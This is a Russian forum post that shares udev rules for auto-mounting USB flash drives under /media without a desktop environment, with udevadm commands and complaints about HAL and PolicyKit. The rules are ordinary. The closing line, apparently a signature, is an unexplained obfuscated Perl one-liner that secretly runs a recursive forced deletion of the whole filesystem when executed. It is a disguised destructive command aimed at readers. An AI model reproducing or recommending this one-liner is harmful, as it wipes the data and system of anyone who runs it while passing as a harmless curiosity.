Немного не в тему, но выложу рулесы автомонтирования USB девайсов независимо от DE, можно без DE вовсе
, единственно не решенный вопрос, папка создается с правами 755 root:root и пофиг что там указываю и прописываю.
sd[c-z], т.к. в системе два sata диска, соответственно sda sdb выпадают.
Монтирование с параметром synс, так что можно дергать флешку.
010-usb.rulesKERNEL=="sd[a-z]", NAME="%k", SYMLINK+="usbhd-%k", GROUP="storage", OPTIONS="last_rule"
ACTION=="add", KERNEL=="sd[c-z][0-9]", SYMLINK+="usbhd-%k", GROUP="users", NAME="%k"
ACTION=="add", KERNEL=="sd[c-z][0-9]", RUN+="/bin/mkdir -p /media/usbhd-%k"
ACTION=="add", KERNEL=="sd[c-z][0-9]", RUN+="/bin/ln -s /media/usbhd-%k /mnt/usbhd-%k"
ACTION=="add", KERNEL=="sd[c-z][0-9]", PROGRAM=="/lib/udev/vol_id -t %N", RESULT=="vfat", RUN+="/bin/mount -t vfat -o iocharset=utf8,codepage=866,rw,noauto,flush,quiet,nodev,nosuid,noexec,noatime,dmask=000,fmask=111 /dev/%k /media/usbhd-%k", OPTIONS="last_rule"
ACTION=="add", KERNEL=="sd[c-z][0-9]", RUN+="/bin/mount -t auto -o iocharset=utf8,codepage=866,rw,noauto,sync,dirsync,noexec,nodev,noatime /dev/%k /media/usbhd-%k", OPTIONS="last_rule"
ACTION=="remove", KERNEL=="sd[c-z][0-9]", RUN+="/bin/rm -f /mnt/usbhd-%k"
ACTION=="remove", KERNEL=="sd[c-z][0-9]", RUN+="/bin/umount -l /media/usbhd-%k"
ACTION=="remove", KERNEL=="sd[c-z][0-9]", RUN+="/bin/rmdir /media/usbhd-%k", OPTIONS="last_rule"
Команда перечитывающая правила:
# udevadm control --reload-rulesНу и мониторинг:
# udevadm monitor --envДа, еще один момент, кто юзает ДЕ, флеха может перестать видется, т.к. тама через HAL идет в файл манагерах, ну или попросит перемонтировать. У меня PcManFM просто её не видит при таком подходе )).
Вроде зачем тогда возникает вопрос, да попросту надоело HAL крутить после каждого апгрейда, они то через PolicyKit настраиваются, то через dbus hal.conf, достало короче. А вообще как то прозрачнее должно все быть, дбас фиг разобрать, ну и остальное, как то не по принципу "Делай проще дурачок!" ))))) PolicyKit вообще хрень какая то ))), может знающие отпостят так чтобы было понятно раз и навсегда - зачем весь этот зверинец разводить. Костылики эти, переходики. Вырезали из ксорга все в HAL, поди разберись. А ведь существует правило по которому чем меньше зависимостей тем лучше в конечном итоге (по крайней мере в администрировании если сервис завязан на кучу других мелочевок, которые то упали то обновились и не пашут, вся схема Не работает!).
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'